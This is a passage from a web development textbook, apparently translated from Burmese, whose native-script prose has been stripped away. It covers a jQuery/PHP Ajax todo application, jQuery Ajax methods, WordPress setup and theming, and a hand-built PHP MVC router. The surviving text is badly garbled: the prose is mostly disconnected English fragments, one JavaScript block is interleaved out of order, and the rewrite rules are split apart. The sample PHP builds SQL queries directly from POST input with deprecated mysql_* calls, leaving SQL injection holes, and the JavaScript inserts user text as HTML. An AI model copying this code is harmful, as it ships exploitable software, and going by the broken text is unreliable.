$.get("book-list.php").done( function() { } )
.fail( function() { } )
.always( function() { } );

Request

11.6 Persistence Todo List Application

() jQuery Todo List Application

Professional Web Developer () Ajax with jQuery

332

Todo List Application Interface Task


Task Task
Check
JavaScript (jQuery)
Browser Reload

MySQL Database Ajax
htdocs Folder todo Folder
todo Folder index.php, jquery.js, app.js, style.css,
actions.php File
todo/
|-- index.php
|-- jquery.js
|-- app.js
|-- style.css
|-- actions.php

jquery.js jquery.com Download index.php, style.css


app.js () HTML,
CSS, JavaScript [ index.php

<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>Todo</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div id="wrap">
<h1>Task List <span>0</span></h1>
<ul id="tasks"></ul>
<ul id="done"></ul>
<div id="new-task">
<input type="text" /><button>+</button>
</div>
</div>
<script src="jquery.js"></script>
<script src="app.js"></script>
</body>
</html>

Professional Web Developer () Ajax with jQuery

[ style.css ]
#wrap {
width: 360px;
margin: 20px auto;
padding: 20px;
border: 6px solid #DDD;
overflow: hidden;
}
h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}
h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}
ul {
list-style: none;
margin: 0;
padding: 0;
}
ul li {
overflow: hidden;
padding: 4px 0;
}
li input, li span {
float: left;
margin-right: 6px;
}
li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none ;
}
li:hover a {
display: inline;
}

333

Professional Web Developer () Ajax with jQuery

#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}
#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}
#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}
#done {
line-height: 18px;
margin-bottom: 10px;
}
#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}

[ app.js ]
$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();
if(!task) return false;
buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
$("#new-task input").val("").focus();
});
$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});

334

Professional Web Developer () Ajax with jQuery

335

function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
$("h1 span").html( $("#tasks li").length );
});
var task = $("<span>").html(msg);
var del = $("<a>", {
href: "#"
}).html("&times;").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});
return $("<li>").append(checkbox).append(task).append(del);
}

Browser URL Bar http://localhost/todo/



JavaScript Todo List Application
Database Table PHP Code
PHP Code
htdocs Folder
jQuery Code
() Ajax

phpMyAdmin todo Database todo Database
tasks Table tasks Table Column
tasks Table
id INT PRIMARY Auto Increment
subject VARCHAR (255)
status INT (1)
created_date DATETIME

Column () Task subject status Column Task


Task Priority, Due Date, Task Detail

Professional Web Developer () Ajax with jQuery

336

Code
Task Subject Status
Task phpMyAdmin

Server-side Scripts

actions.php Request Data tasks Table


PHP Code
() () actions.php Script

.)
.)
.)
.)
.)

Tasks
Task
Task
Status
Status

- Code actions.php
<?php
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("todo", $conn);
$action = $_REQUEST['action'];
switch($action) {
case "get":
get_all_tasks();
break;
case "add":
add_task();
break;
case "del":
del_task();
break;
case "done":
done_task();
break;
case "undo":
undo_task();
break;
default:
unknown_action();
}
function get_all_tasks() {
$result = mysql_query("SELECT * FROM tasks");
$tasks = array();

Professional Web Developer () Ajax with jQuery

337

while($row = mysql_fetch_assoc($result)) {
$tasks[] = $row;
}
echo json_encode($tasks);
}
function add_task() {
$subject = $_POST['subject'];
$result = mysql_query("INSERT INTO tasks (subject, created_date)
VALUES ('$subject', now())");
if($result) {
$id = mysql_insert_id();
echo json_encode(array("err" => 0, "id" => $id));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to insert task"));
}
}
function del_task() {
$id = $_POST['id'];
$result = mysql_query("DELETE FROM tasks WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to delete task"));
}
}
function done_task() {
$id = $_POST['id'];
$result = mysql_query("UPDATE tasks SET status = 1 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}
function undo_task() {
$id = $_POST['id'];
$result = mysql_query("UPDATE tasks SET status = 0 WHERE id = $id");
if($result) {
echo json_encode(array("err" => 0));
} else {
echo json_encode(array("err" => 1, "msg" => "Unable to update status"));
}
}
function unknown_action() {
echo json_encode(array("err" => 1, "msg" => "Unknown Action"));
}
?>

Professional Web Developer () Ajax with jQuery

338

Database Request Data


action
action Function switch Statement
action get get_all_tasks() Function
Browser URL Bar http://localhost/todo/actions.php?action=get


[{"id":"1","subject":"Something to do","status":"0", "created_date":"2013-05-15
12:59:20"},{"id":"2","subject":"Yet another thing to do","status":"0",
"created_date":"2013-05-15 12:59:20"}]

actions.php Request action=get


get_all_tasks() Function
get_all_tasks() Function tasks Table Record $tasks Array
Array json_encode() Function JSON Format
echo
Browser http://localhost/todo/actions.php

{"err":1,"msg":"Unknown Action"}

Request action Query Value case default


unknown_action() Function Function
Task Status Update
Code Function

Adding Ajax Requests

app.js Ajax buildTask()


Function
function buildTask(msg, id) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
$("h1 span").html( $("#tasks li").length );
});
var task = $("<span>").html(msg);

Professional Web Developer () Ajax with jQuery

339

var del = $("<a>", {


href: "#"
}).html("&times;").click(function() {
$(this).parent().fadeOut(function () {
$(this).remove();
$("h1 span").html( $("#tasks li").length );
});
}).hide();
return $("<li>").data("id", id)
.append(checkbox)
.append(task)
.append(del);
}

Highlight Code
Record ID Task List id
jQuery data() Function <li> Element

Page Load tasks Table Record


$(document).ready() Code
$.get("actions.php", {action: "get"}, function( tasks ) {
$.each(tasks, function(index, task) {
if( task.status == 1 ) {
buildTask( task.subject, task.id ).appendTo("#done");
} else {
buildTask( task.subject, task.id ).appendTo("#tasks");
}
});
$("#done input").attr("checked", "checked");
$("h1 span").html( $("#tasks li").length );
}, "json");

get() jQuery Ajax Method actions.php Request Request


Value action get Callback Function Respond Data
tasks Variable
Callback Function jQuery each() Method tasks Variable JSON Array
Loop each() Method Parameter Loop Array
Callback Function each() Parameter tasks tasks
Array Loop Key Value Callback Function

Professional Web Developer () Ajax with jQuery

340

index task Variable


Loop Callback Function Task status Status 1
buildTask() Function <li> Element #done Status
0 <li> Element #tasks Page Load
tasks Table
Task tasks Table

$("#new-task button").click() Event
$("#new-task button").click(function() {
var task = $("#new-task input").val();
if(!task) return false;
$.post("actions.php", {action: "add", subject: task}, function(res) {
if( res.err == 1) {
alert( res.msg );
} else {
buildTask(task, res.id).appendTo("#tasks");
}
}, "json");
buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
$("#new-task input").val("").focus();
});

Highlight Strikeout
actions.php post() Method Request Request Data action
add subject task Variable Respond Data
Callback Function res Variable
Request action add actions.php add_task()
Function add_task() Function INSERT
err id Index Array err 0 id
Record ID INSERT Query err msg
Index Array err 1 msg Task
Message

Professional Web Developer () Ajax with jQuery

341

post() Ajax Method Callback Function res err err msg


Alert Box
err buildTask() Function Task
List Item tasks Table Record


Task Delete tasks Table Request
buildTask() Function Task


function buildTask(msg, id) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
var task = $(this).parent();
var task_id = task.data("id");
if($(this).is(":checked")) {
$.post("actions.php", {action:
task.prependTo("#done");
$("h1 span").html( $("#tasks
});
} else {
$.post("actions.php", {action:
task.appendTo("#tasks");
$("h1 span").html( $("#tasks
});
}

"done", id: task_id}, function() {


li").length );
"undo", id: task_id}, function() {
li").length );

if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}
$("h1 span").html( $("#tasks li").length );
});
var task = $("<span>").html(msg);
var del = $("<a>", {
href: "#"
}).html("&times;").click(function() {
var task = $(this).parent();
var task_id = task.data("id");
$.post("actions.php", {action: "del", id: task_id}, function(res) {
task.remove();
$("h1 span").html( $("#tasks li").length );
}, "json");

Professional Web Developer () Ajax with jQuery

342

$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});
return $("<li>").data("id", id)
.append(checkbox)
.append(task)
.append(del);
}

Highlight Strikeout
post() Method actions.php Request
Request Data <li> Element data-id
Code

Todo List Application


Application Server-side Script Script
Data Database Table
Interface Request JavaScript, DOM XHR
http://localhost/todo/ Browser URL Bar

11.7 Other jQuery Methods

jQuery get() post() Ajax Method getJSON()


Method Respond Data JSON Method $.getJSON("actions.php", {action: "get"});

-
$.get("actions.php", {action: "get"}, "json");

-
Request Method GET POST
GET
POST
get() post()
getScript() Respond Data JavaScript
Run Method

Professional Web Developer () Ajax with jQuery

343

$.getScript("js/somescript.js");

-
$.get("js/somescript.js", "script");


load() DOM Selector Respond
Data Select Element $("#note").load("data.php", {id: 123});

ajax() Method ajax() jQuery Ajax


Function Request
Setting Low-level Interface

get() post() ajax() Method

$.ajax({
url: "actions.php",
data: "action=get",
type: "get",
success: function() {
// do something on success
},
dataType: "json"
});

Request Setting JSON


Setting Option Option
beforeSend Request beforeSend Option
Function
complete Request/Respond ( )
complete Option
Function

Professional Web Developer () Ajax with jQuery

344

data Request Data data Option Query String



JSON

dataType Respond Data Type json,
xml, script html Respond Header Content-type
jQuery jsonp Data Type
json Domain Request
Ajax Cross-Domain Request Domain Request
jsonp Data Type Cross-domain Request
error Request error Option
Function
password HTTP Authentication
Request Password

Request

statusCode Respond Code


Code Function $.ajax({
url: "some/url",
statusCode: {
404: function() {
// ...
},
403: function() {
// ...
},
500: function() {
// ...
}
}
});

success Request
complete Request Option
Function
timeout Request timeout Option
Millisecond

type type Option GET, POST, PUT, DELETE Request Method

Professional Web Developer () Ajax with jQuery

345

url Request URL


username HTTP Authentication
Request User Name
Request
Setting Request
ajax() Method - PUT DELETE Request Method
get() post()
ajax()

Conclusion

Web Development Server-side Script


Application Domain Logic Template User Interface
Server-side Script Application
JavaScript
Server-side Script
Data Persistence Server-side

Data Client-side

Server-side Ajax Application


Gmail
Standard View HTML View Interface
Gmail HTML View Server-side Script Interface Ajax Interface
HTML Interface


Application Client-side Server-side

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () Content Management System CMS

347

() Content Management System CMS


Creating and Managing Websites? Just Piece of Cake.

Content Management System ( CMS) Website


Website

(-) Front-End and Back-End Interfaces of CMS


CMS Web Application
Front-End Back-End
Interface Front-End Back-End

Professional Web Developer () Content Management System CMS

348

Website Interface
Front-End Interface Back-End Web Master
Password (-)
CMS Website User Account Content
Meta Category Tag ( Comment ) Website Design Layout

12.1 Popular CMS

CMS CMS () Wordpress, Joomla


Drupal () Open Source PHP/MySQL

Wordpress, Joomla, Drupal General Purpose CMS


CMS
Website Web Portal Website
E-Commerce Website General Purpose
CMS
- Vanilla Forum Elgg
Social Network MediaWiki Wikipedia Online Knowledge
Base Moodle Online Education Platform
Magento E-Commerce Online Store
CMS Wordpress, Joomla, Drupal Website
CMS
PHP Open Source Open Source
Commercial PHP CMS Python, .NET, Java
CMS Open Source
Commercial


CMS
"Website "
CMS
Website
Web Developer CMS


Website CMS Website

Professional Web Developer () Content Management System CMS

Links:

349

Wordpress http://wordpress.org/
Joomla http://www.joomla.org/
Drupal http://drupal.org/
Vanilla http://vanillaforums.org/
Elgg http://elgg.org/
MediaWiki http://www.mediawiki.org/
Moodle http://moodle.org/
Magento http://magentocommerce.com/

12.2 Wordpress

Wordpress Website () CMS


Matt Mullenweg Mike Little
Developer ()
Version
Version Wordpress 4.2.1

Blog Platform Movable Type


Movable Type User Wordpress
Wordpress
Blog
Website General Purpose CMS
CMS
Content User
Plugin CMS Theme Install
Website Template Website Web Master
Website Content Widgets
Component

Plugin Theme Widget
Website
Web Portal Wordpress
Wordpress Wordpress Developer
Website

Professional Web Developer () Content Management System CMS

350

Wordpress Download wordpress.com Register Wordpress Website


Hosted Version Code
Website
Wordpress Download Hosted Version

Installing Wordpress

Wordpress Version wordpress.org Download


Download Zip File Extract wordpress Folder
htdocs Folder
Browser URL Bar http://localhost/wordpress/

(-) Message

(-) Wordpress Installation


Wordpress Database Setting wp-config.php
File File
Message wpconfig.php Create a Configuration File Button Message
Button

Button
Information Button
(-) Database Setting Form

Professional Web Developer () Content Management System CMS

351

(-) Wordpress Installation


Database Name, Database User, Database Password, Database Host Table Prefix
Database Name Database
phpMyAdmin wordpress Database Form Database
Name wordpress
Database User root
Password Blank Database Host
localhost
Table Prefix Database Wordpress Website Table
Name Table Name

Website Database Table Prefix
wp_
Submit

Message

Message Run the install Button (-)


Website
Information Form

Professional Web Developer () Content Management System CMS

352

(-) Wordpress Installation


Website Title
Content Web Master Admin Username, Admin Password,
Email Site Title Username
admin

Password Password Password


Strong Password
Install WordPress Button Wordpress
wordpress Database Table wpconfig.php File
Success Message Back-End Interface Login Log In Button
Button Username Password
Username Password Login (-)
Wordpress Admin Dashboard

Professional Web Developer () Content Management System CMS

353

(-) Wordpress Admin Dashboard

Content Management with Wordpress

Wordpress Website Setup Content


URL Content URL
Back-End Interface http://localhost/wordpress/wp-admin/
Setup Website (Tab ) URL
Bar http://localhost/wordpress/ (-) Website
, Navigation Menu Wordpress Content

(-) Wordpress Website Front-End

Professional Web Developer () Content Management System CMS

354

Wordpress Content Post Page Post


Website Home Page Page Navigation Menu
"Hello world!"
Post Post Post
Post View Comment
Comment Form Comment

Post Browser URL http://localhost/wordpress/wp-admin/

Admin Dashboard Post Post Category
Admin Dashboard
Sidebar Menu Posts
(-) Categories Menu

(-) Post categories


Categories Interface Add New Category Form
Category
Post Sidebar Menu
Posts Section Add New (-) New Post Form

Professional Web Developer () Content Management System CMS

355

(-) New Post Interface


New Post Form Post Title Post Body Content
Post Body Content Format Rich-TextEditor Image Video Post Body
Categories Box Post
Category Category
Publish Button Post

Publish Browser URL Bar http://localhost/wordpress/
Post Home Page

Post Edit Sidebar Menu All
Posts Option Option

Website Setting Setting Option Login


Password Information Users Option My Profile
User Account Users Option
Comment Comment / Comment Option
Content Video File Media
Options

Professional Web Developer () Content Management System CMS

356

Wordpress Plugins

Wordpress
Plugin http://wordpress.org/extend/plugins/
(Plugin Directory) Plugin Download
Wordpress Plugin Directory Plugin () ( )
Premium Quality Plugin Website

() jQuery Plugin Plugin Developer
Plugin
Manual Readme

Website Web Master Email Contact Form Plugin
Wordpress Plugin Directory "contact" Keyword
() Plugin Description
Plugin Popular Contact Plugin
Contact Form 7 Plugin Download
https://wordpress.org/plugins/contact-form-7/
Download Zip File Extract contactform-7 Folder Wordpress Plugins Folder htdocs/ wordpress/wp-content/plugins/
Folder Admin Dashboard Sidebar Menu Plugins Option
(-) Plugin

(-) Wordpress Plugins

Professional Web Developer () Content Management System CMS

357

Plugin Contact Form 7 Plugin


Plugin Folder Plugin
Activate Plugin Activate Option
Activate Activate (-) Activate
Plugin Settings Deactivate Option
Contact Form 7 Activate Sidebar Menu Contact Option

Option (-)
Contact Form Setup Interface

(-) Contact Form 7


(-) Code Short Code
Wordpress Plugin
Content Short Code
Copy (-) Contact Page
Page Body Short Code

Professional Web Developer () Content Management System CMS

358

(-) Publishing Contact Page


Short Code Page Publish Front-End
Navigation Menu Contact Contact Form Page

Wordpress Themes

Wordpress Website Design Themes


Wordpress Themes Directory http://wordpress.org/extend/themes/
Theme Themes Directory Theme ()
( ) Premium Quality Theme
Website
Themes Wordpress
Developer

Theme Manual Readme

Food Fashion Blog Theme Bueno Theme


Download
https://wordpress.org/themes/bueno/
Download Extract bueno Folder Wordpress Theme

Professional Web Developer () Content Management System CMS

359

Folder htdocs/wordpress/wp-content/themes/
Admin Dashboard (-) Appearance Themes

(-) Wordpress Themes Management


Available Themes Section Bueno
Theme (-) Bueno Activate
Bueno Theme Theme Option Theme Active
(-) Theme Option Interface

(-) Wordpress Theme Options

Professional Web Developer () Content Management System CMS

360

Theme Theme Option Theme

Message Option
- Theme Stylesheet dafault.css

http://localhost/wordpress/
Front End (-)
Website Site Design Bueno Theme

(-) Wordpress with Bueno Theme



Template

Customizing Wordpress Theme

Wordpress Layout
Customize Customize Wordpress Source Code
Theme ( ) Theme
Plugin Wordpress Theme Plugin

Online Tutorial HTML,
CSS, JavaScript PHP Theme, Plugin Wordpress

Developer http://codex.wordpress.org/

Professional Web Developer () Content Management System CMS

361

Admin Dashboard Appearance Menu Editor Option Themes


File Code htdocs/
wordpress/wp-content/themes/ Folder Theme Folder
Code
Wordpress Theme Template File

style.css Theme CSS File Appearance Themes
Available Themes Theme Information style.css

Comment
/*
Theme Name: Twenty Ten
Theme URI: http://wordpress.org/
Description: The 2010 default theme for WordPress.
Author: wordpressdotorg
Author URI: http://wordpress.org/
Version: 1.0
Tags: black, blue, white, two-columns, fixed-width, custom-header
License: MIT
License URI: [license url]
General comments (optional).
*/

CSS Style
index.php Home Page
Template Post
Template Structure <?php get_header(); ?>
<div class="posts">
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<h2 class="title">
<a href="<?php the_permalink() ?>">
<?php the_title(); ?>
</a>
</h2>
<div class="entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>
<div class="sidebar">
<?php get_sidebar(); ?>
</div>

Professional Web Developer () Content Management System CMS

362

</div>
<?php get_footer(); ?>

Bold Wordpress Function get_header(), get_footer(),


get_sidebar() Function header.php, footer.php, sidebar.php
Template have_posts() Function
Post the_post() Function Post
mysql_fetch_assoc() the_parmalink(), the_title(),
the_content() Function Post Link, Post Body
Post Home Page Template

header.php Document Type <head> Element
Content Template
<!doctype html>
<html>
<head>
<title><?php wp_title(); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>">
<?php wp_head(); ?>
</head>
<body>

footer.php </body> </html> Element Template


Copyright Information
Template <?php wp_footer(); ?>
</body>
</html>

sidebar.php Wordpress Website Sidebar Search Box, Category List, Calendar, Tag
Cloud Widget Appearance Widgets
Widget Sidebar Template Structure
-

Professional Web Developer () Content Management System CMS

363

<div class="sidebar">
<?php dynamic_sidebar('primary'); ?>
</div>

dynamic_sidebar() Function functions.php


Sidebar Register
$args = array(
'id'
'description'
'class'
'before_widget'
'after_widget'
'before_title'
'after_title'

=>
=>
=>
=>
=>
=>
=>

'primary',
'Main Widget Area',
'sidebar',
'<li>',
'</li>',
'<h2>',
'</h2>' );

register_sidebar( $args );

Wordpress Theme Sidebar


comments.php Comment Template Structure
Post Page Template comments_template() Function Template

single.php Post Template Structure
page.php Page Template Structure
archive.php Post Category ( ) Author
Template Structure
search.php Search Result Template Structure
functions.php Template PHP Function

404.php Link Post Page Template Structure

Professional Web Developer () Content Management System CMS

364

Category Based Home Page Layout

Setup Wordpress Website Home Page Post


Post Blog Category Layout
index.php Template Structure
(-) Layout

(-) Wordpress Category Based Layout


Home Page Post () Category Hero Post Category
Feature
Post () () Hero Feature
Hero Feature Style
CSS Template Structure CSS Select Style
Structure Layout index.php <?php get_header(); ?>
<div class="contents">
<?php query_posts('showposts=1&cat=1&offset=0'); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="hero">
<h2 class="hero-title">
<a href="<?php the_permalink() ?>"><?php the_title(); ?></a>
</h2>

Professional Web Developer () Content Management System CMS

365

<div class="hero-entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>
<?php $ft = new WP_Query(); $ft->query('showposts=3&cat=2&offset=0'); ?>
<?php while ($ft->have_posts()) : $ft->the_post(); ?>
<div class="feature">
<h2 class="feature-title">
<a href="<?php the_permalink() ?>">
<?php the_title() ?>
</a>
</h2>
<div class="festure-entry">
<?php the_content() ?>
</div>
</div>
<?php endwhile; ?>
<div class="sidebar">
<?php get_sidebar("one") ?>
<?php get_sidebar("two") ?>
</div>
</div>
<?php get_footer() ?>

query_post() Function cat=1 (Category ID One) Post


class=hero <div>
Element Post CSS .hero
Select Style WP_Query()
Function cat=2 (Category ID Two) Post Post
class=feature
<div> Element Wordpress
Website Home Page CSS
Layout

Developer Theme
Admin Dashboard Option
Option


wordpress.org Theme Directory Plugin Directory Popular
Theme Plugin Wordpress

Professional Web Developer () Content Management System CMS

366

""

12.3 Joomla

Joomla CMS Wordpress Plugin


Joomla Component, Plugin, Module
Joomla

Joomla " (all together)"


Swahili Jumla
Version
Version Version 3.4.1 Download
() Component, Plugin, Module ()
Joomla joomla.org Download Setup Wordpress
Database Table File

12.4 Drupal

Drupal Content Management System Content Management Framework


Drupal CMS
Custom CMS
Content Web Master Drupal
Drupal CMS
Drupal Modular Wordpress Joomla CMS

Plugin Extension Drupal Drupal Module
Core Module Module

Professional Web Developer () Content Management System CMS

367

Drupal Dries Buytaert Developer Open


Source
Howard Dean
Dean Space Howard Dean Website
Drupal
Project Developer Drupal
Drupal
Website ()
NGO
Druple drupal.org Download

Conclusion

Content Website
CMS
Website
Front-End Template Design
Content Back-End CMS
CMS Developer

Resource


Website Web Application CMS Content Website


Application
Application Web Application
Framework

Professional Web Developer

web development



(Saturngod)

(iOS Developer at 2c2p)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () Model-View-Controller

369

() Model-View-Controller
Let's Write Maintainable Code

Web Application Software (Maintain-able


) Software Maintenance

Software Maintenance

Software Development Maintenance (Bug Fix) Feature Enhancement



Code


Requirement

Bug
(Error)
Software Bug Bug Free Software

Bug Code
Maintainable
Maintainable Code
Maintainable Code .)
.)
.)
.)

Code Duplication

Coding Standard
Code

.) Code Duplication

Professional Web Developer () Model-View-Controller

370



D.R.Y Principle D.R.Y Don't
Repeat Yourself

.) Decoupling Function
Function Function

Function Function

Function Function Function
Function
Developer

.) Developer Code Code Writing Style Guide Coding


Standard Variable Function Class

Bracket Indent Comment
Code File File Extension

Coding Standard
Coding Standard Program Coding
Standard Code

Developer Code
Consistence
Programming
Language Coding Standard Language
Standard
JavaScript Coding Standard http://javascript.crockford.com/code.html
PHP http://pear.php.net/manual/en/standards.php
.) Project Code Online Book
Store cat-add.php, book-add.php, cat-new.php, book-new.php,
cat-update.php, book-update.php File Script File
Ajax Todo List actions.php

Code File
Maintainable Code

Professional Web Developer () Model-View-Controller

371

Pattern
M-V-C Code Pattern
Three-Tier Architecture

Presentationabstractioncontrol (PAC)



Code Maintain

13.1 M-V-C (Model-View-Controller)

MVC Model-View-Controller Application Project Code


Pattern MVC Pattern Code
Model, View Controller
MVC

Software

MVC
MVC Smalltalk Programming Language
Pattern General Purpose Pattern Software
Web Application Development
Ruby on Rails Ruby Programming Language Web Application Framework MVC
Web Development Pattern

Rails
MVC Web Application Framework
Rails Framework Rails
MVC Pattern

13.2 MVC Workflow

MVC
Model View Application Domain Logic
Model
Model Application
Input Model

Model View

View Model

Presentation
Logic Model Presentation View
Decouple Model View

Professional Web Developer () Model-View-Controller

372

Maintenance
View Logic Logic
Model Presentation

Maintenance Code
Software "Design First Approach"
User Interface
(View)
Software

Software
Requirement

Logic (Model) ( )
User Interface
User Interface Logic
Prototype Interface
Interface Feedback
Logic
User Interface
Logic Interface

Software "Design First Approach"

Logic Presentation Logic Presentation "Design First
Approach"
MVC Logic
Presentation Presentation
Logic UI
Software Project MVC

Software Team Agile Development Project


Management "Ship Early, Ship Often" Design
First " "
Feedback




MVC Maintainability

Professional Web Developer () Model-View-Controller

373

Developer
Developer

Software Developer

Software
MVC Software

Agile Development Rockstar Developer Agile


Iterative Development, SCRUM, Pair Programming, Continues Integration

View Model
Controller Controller
Controller Action Model
Model View
View

Controller Input Output Model


View Web Application Input
Request Output Respond Web Application Controller
Request Respond
View Model


View (Input/Output ) Controller Model

MVC


Model, View Controller
View Logic
Code
Program Controller Logic Model
Program
Logic Presentation MVC
MVC Pattern
Maintainable
Model, View, Controller Code

MVC
Application Maintainable
Maintainable

Professional Web Developer () Model-View-Controller

374

MVC (-)

(-) M-V-C Workflow


Order List Order List Request
Controller Model Order
List View View Format Layout Order List
Format Respond

13.3 PHP MVC Frameworks

CakePHP, Codeigniter PHP MVC Framework Framework


MVC PHP Application ()
Framework Utility Library Widget Toolkit
MVC Pattern Framework
Framework Pattern
MVC

Professional Web Developer () Model-View-Controller

375

Codeigniter

CI
Codeigniter EliaLab PHP
Framework Performance Documentation
MVC Pattern Database library,
Form Validation, XSS Filter, Email Functions, Image Manipulation, Zip, Encryption, Caching, Logging,
Profiling
Link: http://codeigniter.com/

CakePHP

CakePHP Ruby on Rails Framework Class


() Web Application

Framework Documentation CakePHP
Framework

Modern
Framework CakePHP
Framework
Link: http://cakephp.org/

Zend Framework

ZF Zend Framework PHP


Zeev Suraski Andi Gutmans Zend Technology Framework
Zend Framework Framework Modular
Framework
Framework
PHP Business Application
Framework Framework
Zend Studio, Zend Server, Zend Cloud
Enterprise Solution Framework
Framework Size Web Application
Modern Web Application Framework
Application Zend Framework

Link: http://framework.zend.com/

Professional Web Developer () Model-View-Controller

376

Symfony

Symfony CakePHP Zend Framework


Framework
Application Zend Framework
Modular
Component


Drupal
Version Drupal 8
Symfony Component ()
delicious.com Video Streaming Website dailymotion.com Symfony

Project Framework
Link: http://symfony.com/

FuelPHP

FuelPHP PHP 5.3 Framework PHP Namespace


Codeigniter
PHP Framework

Framework

FuelPHP Project
HMVC, ViewModel, Template Engine, Package System Framework
FuelPHP
Link: http://www.fuelphp.com/

Laravel

Laravel PHP 5.3 Framework Framework


Codeigniter
Laravel 3 Framework
ORM, Template Engine, Router, Code Generator, Database Migration
Unit Testing Authentication Build-in
PHP Developer Framework
PHP Framework
Link: http://www.laravel.com/
Framework MVC Framework Open Source

Professional Web Developer () Model-View-Controller

377

Business Application Zend Framework, CakePHP, Symfony


Modern Web Application Codeigniter, FuelPHP, Laravel

Framework Micro-Framework MVC Framework
Routing Framework
Client-side JavaScript Web Application Server-side
Framework Application Server-side

Full-fledge Framework PHP Micro-framework
()
Slim PHP - http://www.slimframework.com/
Lemonade PHP - http://limonade-php.github.io/
Fat-free Framework (F3) - https://github.com/bcosca/fatfree

13.4 Building MVC Pattern

Framework MVC

MVC Pattern PHP ()
Online Book Store categories Table
Record MVC htdocs Folder
mvc Folder mvc Folder File Folder
mvc/
|-- models/
|
|-- category.php
|-- views/
|
|-- category/
|
|
|--list.php
|
|
|--new.php
|-- controllers/
|
|-- category.php
|-- index.php
|-- mvc.php
|-- .htaccess

Code models, views, controllers Folder


Folder Folder
Script URL Apache URL Rewrite
URL Structure .htaccess File
URL Rewrite Rule

Professional Web Developer () Model-View-Controller

378

RewriteEngine On
RewriteBase /mvc/
RewriteRule
RewriteRule
RewriteRule
RewriteRule

^(\w+)/(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2&id=$3 [L,QSA]

^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2 [L,QSA]


^(\w+)/?$ mvc.php?controller=$1 [L,QSA]
. mvc.php?controller=home [L,QSA]

Rule
RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2
(\w+)
([a-zA-Z0-9_]+)
Word Character
a z 0 9
Underscore English Word Character
Word Block Rewrite URL
- http://localhost/mvc/book/list/
Rule URL http://localhost/mvc/mvc.php?controller=book&action=list

MVC Structure controller, action id Request Value
URL Pattern http://localhost/mvc/[controller]/[action]/[id]
controller Block action id
Value Query String
Query String
URL URL Rewrite Rule
Rule
controller home Default

mvc.php
<?php
# Render view function
function render( $template, $data = array() ) {
$controller = $_GET['controller'];
$view_file = "views/${controller}/${template}.php";
if(file_exists( $view_file ) and !is_dir( $view_file )) {
$view = $view_file;
include("index.php");
} else {

Professional Web Developer () Model-View-Controller

379

exit("View not found -> $view_file");


}
}
# Setting URL Varaibles
$controller = $_GET['controller'];
$action = isset($_GET['action']) ? $_GET['action'] : "";
$id = isset($_GET['id']) ? $_GET['id'] : "";
# Loading model
$model_file = "models/${controller}.php";
if(file_exists( $model_file ) and !is_dir( $model_file )) {
include( $model_file );
} else {
exit("Model not found -> $model_file");
}
# Loading controller
$controller_file = "controllers/${controller}.php";
if(file_exists( $controller_file ) and !is_dir($controller_file)) {
include( $controller_file );
} else {
exit("Controller not found -> $controller_file");
}
?>

mvc.php View, Model, Controller File


Script .htaccess Request Script
MVC Structure Driver
View render() Function Function View
Template Include URL
Controller $view Variable View Template Path
index.php Include index.php $view Variable
View Template
$view_file = "views/${controller}/${view}.php";
Variable ${...} -

Statement

$view_file = "views/$controller/$view.php";
- Variable
Variable

Professional Web Developer () Model-View-Controller

380

Code controller Model File


Controller File Include Model Controller Error Message
Script Request Value $controller, $action, $id
Variable http://localhost/mvc/
Request Model not found -> models/home.php
- Error Message URL Location Blank Rewrite
Engine Rule mvc.php?controller=home controller
home Home Model
http://localhost/mvc/category/

Blank Page
Error Message Category Model Error Blank Page
Category Controller Category Model

index.php Code
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>PHP M-V-C</title>
<style>
body {
font-family: arial;
background: #efefef;
}
.wrap {
width: 600px;
margin: 20px auto;
border: 4px solid #ddd;
background: #fff;
}
h1 {
background: #efefef;
margin: 0; padding: 8px;
font-size: 21px;
}
h2 {
font-size: 18px;
margin: 0 0 10px 0;
padding: 0 0 8px 0;
border-bottom: 1px solid #ddd;
}

